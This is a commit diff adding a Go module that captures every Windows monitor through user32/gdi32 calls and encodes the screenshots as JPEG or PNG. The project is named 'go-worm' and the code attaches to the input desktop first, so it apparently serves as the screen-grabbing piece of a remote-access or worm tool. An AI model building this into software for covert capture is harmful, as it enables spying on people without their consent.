Initial commit with project setup and basic structure established.

lib/screenshot/screenshot.go

@@ -0,0 +1,157 @@
+package screenshot
+
+import (
+	"bytes"
+	"errors"
+	"image"
+	"image/jpeg"
+	"image/png"
+	"runtime"
+	"syscall"
+	"unsafe"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var (
+	user32                  = syscall.NewLazyDLL("user32.dll")
+	gdi32                   = syscall.NewLazyDLL("gdi32.dll")
+	procOpenInputDesktop    = user32.NewProc("OpenInputDesktop")
+	procSetThreadDesktop    = user32.NewProc("SetThreadDesktop")
+	procCloseDesktop        = user32.NewProc("CloseDesktop")
+	procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
+	procGetDC               = user32.NewProc("GetDC")
+	procReleaseDC           = user32.NewProc("ReleaseDC")
+	procCreateCompatibleDC  = gdi32.NewProc("CreateCompatibleDC")
+	procDeleteDC            = gdi32.NewProc("DeleteDC")
+	procCreateDIBSection    = gdi32.NewProc("CreateDIBSection")
+	procDeleteObject        = gdi32.NewProc("DeleteObject")
+	procSelectObject        = gdi32.NewProc("SelectObject")
+	procBitBlt              = gdi32.NewProc("BitBlt")
+)
+
+type rect struct {
+	Left, Top, Right, Bottom int32
+}
+
+type bitmapInfoHeader struct {
+	Size          uint32
+	Width         int32
+	Height        int32
+	Planes        uint16
+	BitCount      uint16
+	Compression   uint32
+	SizeImage     uint32
+	XPelsPerMeter int32
+	YPelsPerMeter int32
+	ClrUsed       uint32
+	ClrImportant  uint32
+}
+
+type bitmapInfo struct {
+	Header bitmapInfoHeader
+	Colors [1]uint32
+}
+
+func Capture(format string, quality int) ([]models.CapturedImage, error) {
+	runtime.LockOSThread()
+	defer runtime.UnlockOSThread()
+	if err := attachInputDesktop(); err != nil {
+		return nil, err
+	}
+	monitors, err := enumerateMonitors()
+	if err != nil {
+		return nil, err
+	}
+	if len(monitors) == 0 {
+		return nil, errors.New("no displays found")
+	}
+	result := make([]models.CapturedImage, 0, len(monitors))
+	for _, monitor := range monitors {
+		img, err := captureRect(monitor)
+		if err != nil {
+			return nil, err
+		}
+		data, contentType, err := encodeImage(img, format, quality)
+		if err != nil {
+			return nil, err
+		}
+		result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
+	}
+	return result, nil
+}
+
+func attachInputDesktop() error {
+	h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
+	if h == 0 {
+		return err
+	}
+	defer procCloseDesktop.Call(h)
+	ok, _, err := procSetThreadDesktop.Call(h)
+	if ok == 0 {
+		return err
+	}
+	return nil
+}
+
+func enumerateMonitors() ([]rect, error) {
+	var monitors []rect
+	callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
+		if monitorRect != 0 {
+			monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
+		}
+		return 1
+	})
+	ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
+	if ok == 0 {
+		return nil, err
+	}
+	return monitors, nil
+}
+
+func captureRect(r rect) (*image.RGBA, error) {
+	width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
+	if width <= 0 || height <= 0 {
+		return nil, errors.New("invalid monitor dimensions")
+	}
+	screenDC, _, err := procGetDC.Call(0)
+	if screenDC == 0 {
+		return nil, err
+	}
+	defer procReleaseDC.Call(0, screenDC)
+	memDC, _, err := procCreateCompatibleDC.Call(screenDC)
+	if memDC == 0 {
+		return nil, err
+	}
+	defer procDeleteDC.Call(memDC)
+	bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
+	var bits unsafe.Pointer
+	bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
+	if bitmap == 0 || bits == nil {
+		return nil, err
+	}
+	defer procDeleteObject.Call(bitmap)
+	old, _, _ := procSelectObject.Call(memDC, bitmap)
+	defer procSelectObject.Call(memDC, old)
+	const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
+	ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
+	if ok == 0 {
+		return nil, err
+	}
+	raw := unsafe.Slice((*byte)(bits), width*height*4)
+	pix := make([]byte, len(raw))
+	for i := 0; i < len(raw); i += 4 {
+		pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
+	}
+	return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
+}
+
+func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
+	var buffer bytes.Buffer
+	if format == "jpeg" {
+		err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
+		return buffer.Bytes(), "image/jpeg", err
+	}
+	err := png.Encode(&buffer, img)
+	return buffer.Bytes(), "image/png", err
+}